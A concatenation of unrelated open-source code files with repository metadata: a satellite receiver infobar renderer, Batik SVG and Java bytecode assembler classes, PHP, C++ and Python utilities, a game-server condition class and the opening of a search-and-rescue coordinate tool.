"127.0.0.1", COL_INFOBAR_TEXT, 0, true); } else if ((emu == 1) || (emu == 3)) { painttECMInfo((emu == 1) ?180:190,(emu == 1)? mgcamd_info:oscam_info, caid1, source1, response1, prov1); if(emu == 3){ g_Font[SNeutrinoSettings::FONT_TYPE_INFOBAR_SMALL]->RenderString(g_InfoViewer->BoxEndX-215, g_InfoViewer->BoxStartY-20, 80, "Reader:", COL_INFOBAR_TEXT, 0, true); g_Font[SNeutrinoSettings::FONT_TYPE_INFOBAR_SMALL]->RenderString(g_InfoViewer->BoxEndX-150, g_InfoViewer->BoxStartY-20, 130, reader, COL_INFOBAR_TEXT, 0, true); } } } if (g_settings.infoviewer_ecm_info == 2) { bool gboxECM = false; int gboxoffset = 0,i=0; if (emu == 2){ gboxECM = true; gboxoffset = 20; } frameBuffer->paintBoxRel(g_InfoViewer->BoxEndX-215, g_InfoViewer->BoxStartY-180, 220, g_InfoViewer->ChanHeight+80+gboxoffset, COL_INFOBAR_SHADOW_PLUS_0, g_settings.rounded_corners ? CORNER_RADIUS_MID : 0); frameBuffer->paintBoxRel(g_InfoViewer->BoxEndX-220, g_InfoViewer->BoxStartY-185, 220, g_InfoViewer->ChanHeight+80+gboxoffset, COL_INFOBAR_PLUS_0, g_settings.rounded_corners ? CORNER_RADIUS_MID : 0); g_Font[SNeutrinoSettings::FONT_TYPE_INFOBAR_SMALL]->RenderString(g_InfoViewer->BoxEndX-215, g_InfoViewer->BoxStartY-140, 80, "CaID:", COL_INFOBAR_TEXT, 0, true); g_Font[SNeutrinoSettings::FONT_TYPE_INFOBAR_SMALL]->RenderString(g_InfoViewer->BoxEndX-215, g_InfoViewer->BoxStartY-120, 80, "PID:", COL_INFOBAR_TEXT, 0, true); g_Font[SNeutrinoSettings::FONT_TYPE_INFOBAR_SMALL]->RenderString(g_InfoViewer->BoxEndX-215, g_InfoViewer->BoxStartY-100, 80, "Decode:", COL_INFOBAR_TEXT, 0, true); g_Font[SNeutrinoSettings::FONT_TYPE_INFOBAR_SMALL]->RenderString(g_InfoViewer->BoxEndX-215, g_InfoViewer->BoxStartY-80, 80, "Provider:", COL_INFOBAR_TEXT, 0, true); g_Font[SNeutrinoSettings::FONT_TYPE_INFOBAR_SMALL]->RenderString(g_InfoViewer->BoxEndX-215, g_InfoViewer->BoxStartY-60, 42, "CW0:", COL_INFOBAR_TEXT, 0, true); g_Font[SNeutrinoSettings::FONT_TYPE_INFOBAR_SMALL]->RenderString(g_InfoViewer->BoxEndX-215, g_InfoViewer->BoxStartY-40, 42, "CW1:", COL_INFOBAR_TEXT, 0, true); for(i=0;i<8;i++){ g_Font[SNeutrinoSettings::FONT_TYPE_INFOBAR_SMALL]->RenderString(g_InfoViewer->BoxEndX-(173-(i*21)), g_InfoViewer->BoxStartY-60, 21, cw0_[i], COL_INFOBAR_TEXT, 0, true); g_Font[SNeutrinoSettings::FONT_TYPE_INFOBAR_SMALL]->RenderString(g_InfoViewer->BoxEndX-(173-(i*21)), g_InfoViewer->BoxStartY-40, 21, cw1_[i], COL_INFOBAR_TEXT, 0, true); } if (gboxECM) { g_Font[SNeutrinoSettings::FONT_TYPE_INFOBAR_SMALL]->RenderString(g_InfoViewer->BoxEndX-190, g_InfoViewer->BoxStartY-160, 160, gbox_info, COL_INFOBAR_TEXT, 0, true); g_Font[SNeutrinoSettings::FONT_TYPE_INFOBAR_SMALL]->RenderString(g_InfoViewer->BoxEndX-150, g_InfoViewer->BoxStartY-140, 80, caid1, COL_INFOBAR_TEXT, 0, true); g_Font[SNeutrinoSettings::FONT_TYPE_INFOBAR_SMALL]->RenderString(g_InfoViewer->BoxEndX-150, g_InfoViewer->BoxStartY-120, 80, pid1, COL_INFOBAR_TEXT, 0, true); g_Font[SNeutrinoSettings::FONT_TYPE_INFOBAR_SMALL]->RenderString(g_InfoViewer->BoxEndX-150, g_InfoViewer->BoxStartY-100, 70, source1, COL_INFOBAR_TEXT, 0, true); if(response1[0] != 0) { g_Font[SNeutrinoSettings::FONT_TYPE_INFOBAR_SMALL]->RenderString(g_InfoViewer->BoxEndX-90, g_InfoViewer->BoxStartY-100, 15, "in", COL_INFOBAR_TEXT, 0, true); g_Font[SNeutrinoSettings::FONT_TYPE_INFOBAR_SMALL]->RenderString(g_InfoViewer->BoxEndX-70, g_InfoViewer->BoxStartY-100, 45, response1, COL_INFOBAR_TEXT, 0, true); g_Font[SNeutrinoSettings::FONT_TYPE_INFOBAR_SMALL]->RenderString(g_InfoViewer->BoxEndX-25, g_InfoViewer->BoxStartY-100, 10, "s", COL_INFOBAR_TEXT, 0, true); } g_Font[SNeutrinoSettings::FONT_TYPE_INFOBAR_SMALL]->RenderString(g_InfoViewer->BoxEndX-150, g_InfoViewer->BoxStartY-80, 130, prov1, COL_INFOBAR_TEXT, 0, true); g_Font[SNeutrinoSettings::FONT_TYPE_INFOBAR_SMALL]->RenderString(g_InfoViewer->BoxEndX-215, g_InfoViewer->BoxStartY-20, 50, "From:", COL_INFOBAR_TEXT, 0, true); if (strstr(source1, "Net") != NULL) { if (share_net == 1) g_Font[SNeutrinoSettings::FONT_TYPE_INFOBAR_SMALL]->RenderString(g_InfoViewer->BoxEndX-173, g_InfoViewer->BoxStartY-20, 160, share_at, COL_INFOBAR_TEXT, 0, true); else g_Font[SNeutrinoSettings::FONT_TYPE_INFOBAR_SMALL]->RenderString(g_InfoViewer->BoxEndX-173, g_InfoViewer->BoxStartY-20, 160, "N/A", COL_INFOBAR_TEXT, 0, true); } else g_Font[SNeutrinoSettings::FONT_TYPE_INFOBAR_SMALL]->RenderString(g_InfoViewer->BoxEndX-173, g_InfoViewer->BoxStartY-20, 160, "127.0.0.1", COL_INFOBAR_TEXT, 0, true); } else if ((emu == 1) || (emu == 3)) { g_Font[SNeutrinoSettings::FONT_TYPE_INFOBAR_SMALL]->RenderString(g_InfoViewer->BoxEndX-200, g_InfoViewer->BoxStartY-160, 190,(emu == 1)? mgcamd_info:oscam_info, COL_INFOBAR_TEXT, 0, true); g_Font[SNeutrinoSettings::FONT_TYPE_INFOBAR_SMALL]->RenderString(g_InfoViewer->BoxEndX-135, g_InfoViewer->BoxStartY-140, 80, caid1, COL_INFOBAR_TEXT, 0, true); g_Font[SNeutrinoSettings::FONT_TYPE_INFOBAR_SMALL]->RenderString(g_InfoViewer->BoxEndX-135, g_InfoViewer->BoxStartY-120, 80, pid1, COL_INFOBAR_TEXT, 0, true); g_Font[SNeutrinoSettings::FONT_TYPE_INFOBAR_SMALL]->RenderString(g_InfoViewer->BoxEndX-135, g_InfoViewer->BoxStartY-100, 70, source1, COL_INFOBAR_TEXT, 0, true); //g_Font[SNeutrinoSettings::FONT_TYPE_INFOBAR_SMALL]->RenderString(g_InfoViewer->BoxEndX-70, g_InfoViewer->BoxStartY-100, 20, "", COL_INFOBAR_TEXT, 0, true); g_Font[SNeutrinoSettings::FONT_TYPE_INFOBAR_SMALL]->RenderString(g_InfoViewer->BoxEndX-55, g_InfoViewer->BoxStartY-100, 70, response1, COL_INFOBAR_TEXT, 0, true); //g_Font[SNeutrinoSettings::FONT_TYPE_INFOBAR_SMALL]->RenderString(g_InfoViewer->BoxEndX-25, g_InfoViewer->BoxStartY-100, 20, "", COL_INFOBAR_TEXT, 0, true); g_Font[SNeutrinoSettings::FONT_TYPE_INFOBAR_SMALL]->RenderString(g_InfoViewer->BoxEndX-135, g_InfoViewer->BoxStartY-80, 130, prov1, COL_INFOBAR_TEXT, 0, true); g_Font[SNeutrinoSettings::FONT_TYPE_INFOBAR_SMALL]->RenderString(g_InfoViewer->BoxEndX-215, g_InfoViewer->BoxStartY-140, 80, "CaID:", COL_INFOBAR_TEXT, 0, true); g_Font[SNeutrinoSettings::FONT_TYPE_INFOBAR_SMALL]->RenderString(g_InfoViewer->BoxEndX-135, g_InfoViewer->BoxStartY-140, 130, caid2, COL_INFOBAR_TEXT, 0, true); g_Font[SNeutrinoSettings::FONT_TYPE_INFOBAR_SMALL]->RenderString(g_InfoViewer->BoxEndX-215, g_InfoViewer->BoxStartY-120, 80, "PID:", COL_INFOBAR_TEXT, 0, true); g_Font[SNeutrinoSettings::FONT_TYPE_INFOBAR_SMALL]->RenderString(g_InfoViewer->BoxEndX-135, g_InfoViewer->BoxStartY-120, 130, pid2, COL_INFOBAR_TEXT, 0, true); g_Font[SNeutrinoSettings::FONT_TYPE_INFOBAR_SMALL]->RenderString(g_InfoViewer->BoxEndX-215, g_InfoViewer->BoxStartY-100, 80, "Decode:", COL_INFOBAR_TEXT, 0, true); g_Font[SNeutrinoSettings::FONT_TYPE_INFOBAR_SMALL]->RenderString(g_InfoViewer->BoxEndX-135, g_InfoViewer->BoxStartY-100, 130, from1, COL_INFOBAR_TEXT, 0, true); g_Font[SNeutrinoSettings::FONT_TYPE_INFOBAR_SMALL]->RenderString(g_InfoViewer->BoxEndX-215, g_InfoViewer->BoxStartY-80, 80, "Provider:", COL_INFOBAR_TEXT, 0, true); g_Font[SNeutrinoSettings::FONT_TYPE_INFOBAR_SMALL]->RenderString(g_InfoViewer->BoxEndX-135, g_InfoViewer->BoxStartY-80, 130, prov2, COL_INFOBAR_TEXT, 0, true); g_Font[SNeutrinoSettings::FONT_TYPE_INFOBAR_SMALL]->RenderString(g_InfoViewer->BoxEndX-215, g_InfoViewer->BoxStartY-60, 42, "CW0:", COL_INFOBAR_TEXT, 0, true); g_Font[SNeutrinoSettings::FONT_TYPE_INFOBAR_SMALL]->RenderString(g_InfoViewer->BoxEndX-215, g_InfoViewer->BoxStartY-40, 42, "CW1:", COL_INFOBAR_TEXT, 0, true); } } }
FFTEAM/FFTEAM-MP3-Martii
src/gui/infoviewer_bb.cpp
C++
gpl-3.0
47,910
/* Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to You under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package org.apache.batik.dom.svg; import java.awt.geom.AffineTransform; import java.awt.geom.NoninvertibleTransformException; import org.apache.batik.css.engine.SVGCSSEngine; import org.w3c.dom.DOMException; import org.w3c.dom.Element; import org.w3c.dom.svg.SVGElement; import org.w3c.dom.svg.SVGException; import org.w3c.dom.svg.SVGFitToViewBox; import org.w3c.dom.svg.SVGMatrix; import org.w3c.dom.svg.SVGRect; /** * This class provides support for the SVGLocatable interface. * * @author <a href="mailto:stephane@hillion.org">Stephane Hillion</a> * @version $Id$ */ public class SVGLocatableSupport { /** * Creates a new SVGLocatable element. */ public SVGLocatableSupport() { } /** * To implement {@link * org.w3c.dom.svg.SVGLocatable#getNearestViewportElement()}. */ public static SVGElement getNearestViewportElement(Element e) { Element elt = e; while (elt != null) { elt = SVGCSSEngine.getParentCSSStylableElement(elt); if (elt instanceof SVGFitToViewBox) { break; } } return (SVGElement)elt; } /** * To implement {@link * org.w3c.dom.svg.SVGLocatable#getFarthestViewportElement()}. */ public static SVGElement getFarthestViewportElement(Element elt) { return (SVGElement)elt.getOwnerDocument().getDocumentElement(); } /** * To implement {@link org.w3c.dom.svg.SVGLocatable#getBBox()}. */ public static SVGRect getBBox(Element elt) { final SVGOMElement svgelt = (SVGOMElement)elt; SVGContext svgctx = svgelt.getSVGContext(); if (svgctx == null) return null; if (svgctx.getBBox() == null) return null; return new SVGRect() { public float getX() { return (float)svgelt.getSVGContext().getBBox().getX(); } public void setX(float x) throws DOMException { throw svgelt.createDOMException (DOMException.NO_MODIFICATION_ALLOWED_ERR, "readonly.rect", null); } public float getY() { return (float)svgelt.getSVGContext().getBBox().getY(); } public void setY(float y) throws DOMException { throw svgelt.createDOMException (DOMException.NO_MODIFICATION_ALLOWED_ERR, "readonly.rect", null); } public float getWidth() { return (float)svgelt.getSVGContext().getBBox().getWidth(); } public void setWidth(float width) throws DOMException { throw svgelt.createDOMException (DOMException.NO_MODIFICATION_ALLOWED_ERR, "readonly.rect", null); } public float getHeight() { return (float)svgelt.getSVGContext().getBBox().getHeight(); } public void setHeight(float height) throws DOMException { throw svgelt.createDOMException (DOMException.NO_MODIFICATION_ALLOWED_ERR, "readonly.rect", null); } }; } /** * To implement {@link org.w3c.dom.svg.SVGLocatable#getCTM()}. */ public static SVGMatrix getCTM(Element elt) { final SVGOMElement svgelt = (SVGOMElement)elt; return new AbstractSVGMatrix() { protected AffineTransform getAffineTransform() { return svgelt.getSVGContext().getCTM(); } }; } /** * To implement {@link org.w3c.dom.svg.SVGLocatable#getScreenCTM()}. */ public static SVGMatrix getScreenCTM(Element elt) { final SVGOMElement svgelt = (SVGOMElement)elt; return new AbstractSVGMatrix() { protected AffineTransform getAffineTransform() { SVGContext context = svgelt.getSVGContext(); AffineTransform ret = context.getGlobalTransform(); AffineTransform scrnTrans = context.getScreenTransform(); if (scrnTrans != null) ret.preConcatenate(scrnTrans); return ret; } }; } /** * To implement {@link * org.w3c.dom.svg.SVGLocatable#getTransformToElement(SVGElement)}. */ public static SVGMatrix getTransformToElement(Element elt, SVGElement element) throws SVGException { final SVGOMElement currentElt = (SVGOMElement)elt; final SVGOMElement targetElt = (SVGOMElement)element; return new AbstractSVGMatrix() { protected AffineTransform getAffineTransform() { AffineTransform cat = currentElt.getSVGContext().getGlobalTransform(); if (cat == null) { cat = new AffineTransform(); } AffineTransform tat = targetElt.getSVGContext().getGlobalTransform(); if (tat == null) { tat = new AffineTransform(); } AffineTransform at = new AffineTransform(cat); try { at.preConcatenate(tat.createInverse()); return at; } catch (NoninvertibleTransformException ex) { throw currentElt.createSVGException (SVGException.SVG_MATRIX_NOT_INVERTABLE, "noninvertiblematrix", null); } } }; } }
srnsw/xena
plugins/image/ext/src/batik-1.7/sources/org/apache/batik/dom/svg/SVGLocatableSupport.java
Java
gpl-3.0
6,739
/* * Copyright (C) 2012 Timo Vesalainen * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ package org.vesalainen.bcc; import java.io.IOException; import java.util.Map; /** * * @author Timo Vesalainen <timo.vesalainen@iki.fi> */ public class LongASM extends Assembler implements TypeASM { LongASM(CodeDataOutput out, Map<String, Label> labels) { super(out, labels); } public void tadd() throws IOException { out.writeByte(LADD); } public void taload() throws IOException { out.writeByte(LALOAD); } public void tand() throws IOException { out.writeByte(LAND); } public void tastore() throws IOException { out.writeByte(LASTORE); } public void tcmp() throws IOException { out.writeByte(LCMP); } public void tconst(int i) throws IOException { switch (i) { case 0: tconst_0(); break; case 1: tconst_1(); break; default: throw new UnsupportedOperationException("Not supported yet."); } } public void tconst_0() throws IOException { out.writeByte(LCONST_0); } public void tconst_1() throws IOException { out.writeByte(LCONST_1); } public void tdiv() throws IOException { out.writeByte(LDIV); } public void tload(int index) throws IOException { switch (index) { case 0: out.writeByte(LLOAD_0); break; case 1: out.writeByte(LLOAD_1); break; case 2: out.writeByte(LLOAD_2); break; case 3: out.writeByte(LLOAD_3); break; default: if (index < 256) { out.writeByte(LLOAD); out.writeByte(index); } else { out.writeByte(WIDE); out.writeByte(LLOAD); out.writeShort(index); } break; } } public void tmul() throws IOException { out.writeByte(LMUL); } public void tneg() throws IOException { out.writeByte(LNEG); } public void tor() throws IOException { out.writeByte(LOR); } public void trem() throws IOException { out.writeByte(LREM); } public void treturn() throws IOException { out.writeByte(LRETURN); } public void tshl() throws IOException { out.writeByte(LSHL); } public void tshr() throws IOException { out.writeByte(LSHR); } public void tstore(int index) throws IOException { switch (index) { case 0: out.writeByte(LSTORE_0); break; case 1: out.writeByte(LSTORE_1); break; case 2: out.writeByte(LSTORE_2); break; case 3: out.writeByte(LSTORE_3); break; default: if (index < 256) { out.writeByte(LSTORE); out.writeByte(index); } else { out.writeByte(WIDE); out.writeByte(LSTORE); out.writeShort(index); } break; } } public void tsub() throws IOException { out.writeByte(LSUB); } public void tushr() throws IOException { out.writeByte(LUSHR); } public void txor() throws IOException { out.writeByte(LXOR); } public void i2t() throws IOException { out.writeByte(I2L); } public void f2t() throws IOException { out.writeByte(F2L); } public void d2t() throws IOException { out.writeByte(D2L); } public void tipush(int b) throws IOException { throw new UnsupportedOperationException("Not supported yet."); } public void tinc(int index, int con) throws IOException { throw new UnsupportedOperationException("Not supported yet."); } public void l2t() throws IOException { throw new UnsupportedOperationException("Not supported yet."); } public void if_tcmpeq(Object target) throws IOException { throw new UnsupportedOperationException("Not supported yet."); } public void if_tcmpne(Object target) throws IOException { throw new UnsupportedOperationException("Not supported yet."); } public void if_tcmplt(Object target) throws IOException { throw new UnsupportedOperationException("Not supported yet."); } public void if_tcmpge(Object target) throws IOException { throw new UnsupportedOperationException("Not supported yet."); } public void if_tcmpgt(Object target) throws IOException { throw new UnsupportedOperationException("Not supported yet."); } public void if_tcmple(Object target) throws IOException { throw new UnsupportedOperationException("Not supported yet."); } public void tcmpl() throws IOException { throw new UnsupportedOperationException("Not supported yet."); } public void tcmpg() throws IOException { throw new UnsupportedOperationException("Not supported yet."); } public void tconst_null() throws IOException { throw new UnsupportedOperationException("Not supported yet."); } public void if_tcmpeq(String target) throws IOException { throw new UnsupportedOperationException("Not supported yet."); } public void if_tcmpne(String target) throws IOException { throw new UnsupportedOperationException("Not supported yet."); } public void if_tcmplt(String target) throws IOException { throw new UnsupportedOperationException("Not supported yet."); } public void if_tcmpge(String target) throws IOException { throw new UnsupportedOperationException("Not supported yet."); } public void if_tcmpgt(String target) throws IOException { throw new UnsupportedOperationException("Not supported yet."); } public void if_tcmple(String target) throws IOException { throw new UnsupportedOperationException("Not supported yet."); } }
tvesalainen/bcc
src/main/java/org/vesalainen/bcc/LongASM.java
Java
gpl-3.0
7,297
/* * stereographic projection * * Copyright 2010 dan collins <danc@badbytes.net> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, * MA 02110-1301, USA. */ from numpy import * def Convert(channelpnts): #assuming a half ~sphere, we rad = max(chan['lpnt'][:,1]) - min(chan['lpnt'][:,1])
badbytes/pymeg
meg/stereographicprojection.py
Python
gpl-3.0
1,056
<?php // Activate session session_start(); // Start output buffer ob_start(); // Include utility files require_once 'include/config.php'; require_once BUSINESS_DIR . 'error_handler.php'; // Set the error handler ErrorHandler::SetHandler(); // Load the application page template require_once PRESENTATION_DIR . 'application.php'; require_once PRESENTATION_DIR . 'link.php'; // Load the database handler require_once BUSINESS_DIR . 'database_handler.php'; // Load Business Tier require_once BUSINESS_DIR . 'catalog.php'; require_once BUSINESS_DIR . 'shopping_cart.php'; require_once BUSINESS_DIR . 'orders.php'; require_once BUSINESS_DIR . 'symmetric_crypt.php'; require_once BUSINESS_DIR . 'secure_card.php'; require_once BUSINESS_DIR . 'customer.php'; require_once BUSINESS_DIR . 'i_pipeline_section.php'; require_once BUSINESS_DIR . 'order_processor.php'; require_once BUSINESS_DIR . 'ps_initial_notification.php'; require_once BUSINESS_DIR . 'ps_check_funds.php'; require_once BUSINESS_DIR . 'ps_check_stock.php'; require_once BUSINESS_DIR . 'ps_stock_ok.php'; require_once BUSINESS_DIR . 'ps_take_payment.php'; require_once BUSINESS_DIR . 'ps_ship_goods.php'; require_once BUSINESS_DIR . 'ps_ship_ok.php'; require_once BUSINESS_DIR . 'ps_final_notification.php'; // Load Smarty template file $application = new Application(); // Display the page $application->display('store_admin.tpl'); // Close database connection DatabaseHandler::Close(); // Output content from the buffer flush(); ob_flush(); ob_end_clean(); ?>
ray1919/zsq3p1_db
admin.php
PHP
gpl-3.0
1,583
/******************************************************************************\ * _ ___ ____ __ _ * * | | | \ \___/ / \/ | ___ __ _ ___| |_ * * | |_| |\ /| |\/| |/ __/ _` / __| __| * * | _ | \ - / | | | | (_| (_| \__ \ |_ * * |_| |_| \_/ |_| |_|\___\__,_|___/\__| * * * * This file is part of the HAMcast project. * * * * HAMcast is free software: you can redistribute it and/or modify * * it under the terms of the GNU Lesser General Public License as published * * by the Free Software Foundation, either version 3 of the License, or * * (at your option) any later version. * * * * HAMcast is distributed in the hope that it will be useful, * * but WITHOUT ANY WARRANTY; without even the implied warranty of * * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. * * See the GNU Lesser General Public License for more details. * * * * You should have received a copy of the GNU Lesser General Public License * * along with HAMcast. If not, see <http://www.gnu.org/licenses/>. * * * * Contact: HAMcast support <hamcast-support@informatik.haw-hamburg.de> * \******************************************************************************/ #include <boost/thread.hpp> #include "hamcast/uri.hpp" #include "hamcast/multicast_packet.hpp" #include "hamcast/interface_property.hpp" #include "hamcast/ipc/message.hpp" #include "hamcast/util/serialization.hpp" namespace { const size_t max_cache_size = 50; typedef std::map<std::string, hamcast::uri> uri_cache; boost::thread_specific_ptr<uri_cache> m_uri_cache; // check if @p uri_str is cached // if @p uri_str is cached then set storage to the cached uri object // otherwise put a new instance to the cache and set storage afterwards void uri_lookup(const std::string& uri_str, hamcast::uri& storage) { uri_cache* cache = m_uri_cache.get(); if (!cache) { cache = new uri_cache; m_uri_cache.reset(cache); } uri_cache::const_iterator i(cache->find(uri_str)); if (i != cache->end()) { storage = i->second; } else { storage = hamcast::uri(uri_str); // purge the cache if full if (cache->size() >= max_cache_size) { cache->clear(); } cache->insert(uri_cache::value_type(uri_str, storage)); } } } // namespace <anonymous> namespace hamcast { namespace util { /****************************************************************************** * integers * ******************************************************************************/ deserializer& operator>>(deserializer& d, bool& storage) { boost::uint8_t tmp; d >> tmp; storage = (tmp != 0); return d; } /****************************************************************************** * HAMcast types * ******************************************************************************/ serializer& operator<<(serializer& s, const uri& what) { return (s << what.str()); } deserializer& operator>>(deserializer& d, uri& storage) { std::string str; d >> str; uri_lookup(str, storage); return d; } serializer& operator<<(serializer& s, const multicast_packet& mp) { s << mp.from() << mp.size(); if (mp.size() > 0) { s.write(mp.size(), mp.data()); } return s; } deserializer& operator>>(deserializer& d, multicast_packet& mp) { uri mp_from; boost::uint32_t mp_size; d >> mp_from >> mp_size; char* mp_data = 0; if (mp_size > 0) { mp_data = new char[mp_size]; d.read(mp_size, mp_data); } multicast_packet tmp(mp_from, mp_size, mp_data); mp = tmp; return d; } serializer& operator<<(serializer& s, const interface_property& ip) { return (s << ip.id << ip.name << ip.address << ip.technology); } deserializer& operator>>(deserializer& d, interface_property& ip) { return (d >> ip.id >> ip.name >> ip.address >> ip.technology); } serializer& operator<<(serializer& s, const ipc::message& what) { return ipc::message::serialize(s, what); } deserializer& operator>>(deserializer& d, ipc::message::ptr& mptr) { return ipc::message::deserialize(d, mptr); } /****************************************************************************** * standard template library types * ******************************************************************************/ serializer& operator<<(serializer& s, const std::string& what) { s << static_cast<boost::uint32_t>(what.size()); s.write(what.size(), what.c_str()); return s; } deserializer& operator>>(deserializer& d, std::string& storage) { boost::uint32_t str_size; d >> str_size; storage.reserve(str_size); // read string in 128 byte chunks char chunk[129]; while (str_size > 0) { size_t rd_size = std::min<size_t>(128, str_size); d.read(rd_size, chunk); chunk[rd_size] = '\0'; storage += chunk; str_size -= rd_size; } return d; } } } // namespace hamcast::util
HAMcast/HAMcast
libhamcast/src/serialization.cpp
C++
gpl-3.0
5,912
/* * This file is part of the L2J Global project. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ package com.l2jglobal.gameserver.model.conditions; import com.l2jglobal.gameserver.model.actor.L2Character; import com.l2jglobal.gameserver.model.items.L2Item; import com.l2jglobal.gameserver.model.skills.Skill; /** * The Class ConditionPlayerHp. * @author mr */ public class ConditionPlayerHp extends Condition { private final int _hp; /** * Instantiates a new condition player hp. * @param hp the hp */ public ConditionPlayerHp(int hp) { _hp = hp; } @Override public boolean testImpl(L2Character effector, L2Character effected, Skill skill, L2Item item) { return (effector != null) && (((effector.getCurrentHp() * 100) / effector.getMaxHp()) <= _hp); } }
rubenswagner/L2J-Global
java/com/l2jglobal/gameserver/model/conditions/ConditionPlayerHp.java
Java
gpl-3.0
1,390
#!/usr/bin/env python import asyncio import json from bson import json_util from pymongo import MongoClient from .search import Query from .crawl import Spider class ClientSpider(Spider): """ Indexes the client website and saves all pages to a mongodb collection """ def __init__(self, client): self.client = client uri = client.website super().__init__(uri) async def save_pages(self): """Save pages to mongodb""" pages = await self.crawl() mongo_client = MongoClient('localhost', 27017) database = mongo_client.pages collection = database[self.client.name] collection.delete_many({}) # delete previous pages collection.insert_many(pages) # insert new pages # Dump loaded BSON to valid JSON string and reload it as dict pages_sanitised = json.loads(json_util.dumps(pages)) return pages_sanitised class ClientQuery(Query): """ Query a client """ def __init__(self, client, query): self.client = client pages = client.get_pages(client.name) query = query super().__init__(pages, query) def modify_search(self): """Modify search with client settings""" pages = self.search() # Dump loaded BSON to valid JSON string and reload it as dict pages_sanitised = json.loads(json_util.dumps(pages)) return pages_sanitised if __name__ == "__main__": import doctest doctest.testmod()
apt-helion/viperidae
api/developer.py
Python
gpl-3.0
1,525
# ############################################################################# # # buckshot.py - given a set of numbers and a marker name, make sarsoft markers # corresponding to all three lat-lon coordinate systems # # # developed for Nevada County Sheriff's Search and Rescue # Copyright (c) 2015 Tom Grundy # # http://ncssarradiologsoftware.sourceforge.net # # Contact the author at nccaves@yahoo.com # Attribution, feedback, bug reports and feature requests are appreciated # # REVISION HISTORY #----------------------------------------------------------------------------- # DATE | AUTHOR | NOTES #----------------------------------------------------------------------------- # 5-29-16 TMG optionally write a GPX file, with color and symbol data; # skip the URL export step if the URL field is blank; # rearrange GUI accordingly # 3-3-17 TMG bug fixes and cleanup (fixes github issues 6,7,8,9) # 3-11-17 TMG fix issue 10 (crash when URL is other than localhost) # 4-16-17 TMG fix issue 3 (mark the best match) - don't attempt an # algorithm - just let the user select one possibility # as the best match; this required changing the fields # to QListWidgets; make sure the best match is exported # to sarsoft with appropriate text, and to gpx with # appropriate icon for Locus Map (android app). Can # investigate best icons for other apps/programs later. # 1-21-18 TMG fix issue 12 (integrate with search-in-progress) by # creating a new sartopo folder each time, and placing # all newly created buckshot markers in that folder # 8-29-18 TMG fix #14 (work with either API version) by using external # module sartopo_python (see separate GitHub project # by that name) # 10-7-18 TMG overhaul to work with significant api changes in v4151 # of sar.jar - probably not backwards compatible - required # changes to sartopo_python also; allow URL on network # other than localhost # # ############################################################################# # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # See included file LICENSE.txt for full license terms, also # available at http://opensource.org/licenses/gpl-3.0.html # # ############################################################################ # # Originally written and tested on Windows Vista Home Basic 32-bit # with PyQt 5.4 and Python 3.4.2; should run for Windows Vista and higher # # Note, this file must be encoded as UTF-8, to preserve degree signs in the code # # ############################################################################ from PyQt5.QtCore import * from PyQt5.QtGui import * from PyQt5.QtWidgets import * import xml.dom.minidom import regex as re from parse import * import sys import requests import json import os from sartopo_python import SartopoSession from buckshot_ui import Ui_buckshot # valid delimiters: space, period, X, x, D, d, M, m, ', S, s, " # 'best match' = all correct delimiters in all the correct places # 'close match' = some delimieter in all the correct places # first, define exactly what will qualify as an 'exact match'; # then, relax that definition some to define a 'close match' # make a canonical form of the input string; # make a canonical form of each possibility; # if they are identical, it is an exact match # i string actual coordinates should this be a match? # 1. 39d120d 39.0dN -120.0dW exact # 2. 39.0d120.0d exact # 3. 39d-120d exact # 4. 39120 close # 5. 3901200 close # 4. 39d12m120d12m 39d12.0mN -120d12.0mW exact # # preprocess the input string: # 1. remove minus sign(s) # 2. convert to lowercase # 3. replace ' with m # 4. replace " with s # 5. replace all letters other than [dmsx] with <space> # 6. replace all multiple-spaces with just one space # 7. do some work to find the lat/lon break ('x'): # 7a. for each known delimiter [dms]: if the next delimiter is d, then insert # 'x' immediately after the current delimiter # preprocessed input string characteristics (i.e. canonical form): # - no minus signs # - unknown delimiters are represented by a <space> # - known delimiters are [.dmsx] # criteria for exact match: # delimiterRegEx="[ .XxDdMm'Ss\"]" bestMatchLabelPrefix="*" closeMatchLabelPrefix="+" class MyWindow(QDialog,Ui_buckshot): def __init__(self,parent): QDialog.__init__(self) self.setWindowFlags(self.windowFlags()|Qt.WindowMinMaxButtonsHint) self.parent=parent self.ui=Ui_buckshot() self.ui.setupUi(self) self.setAttribute(Qt.WA_DeleteOnClose) self.coordDdStringList=[] self.coordDMmStringList=[] self.coordDMSsStringList=[] # default gpx dir: ~\Documents if it exists, ~ otherwise 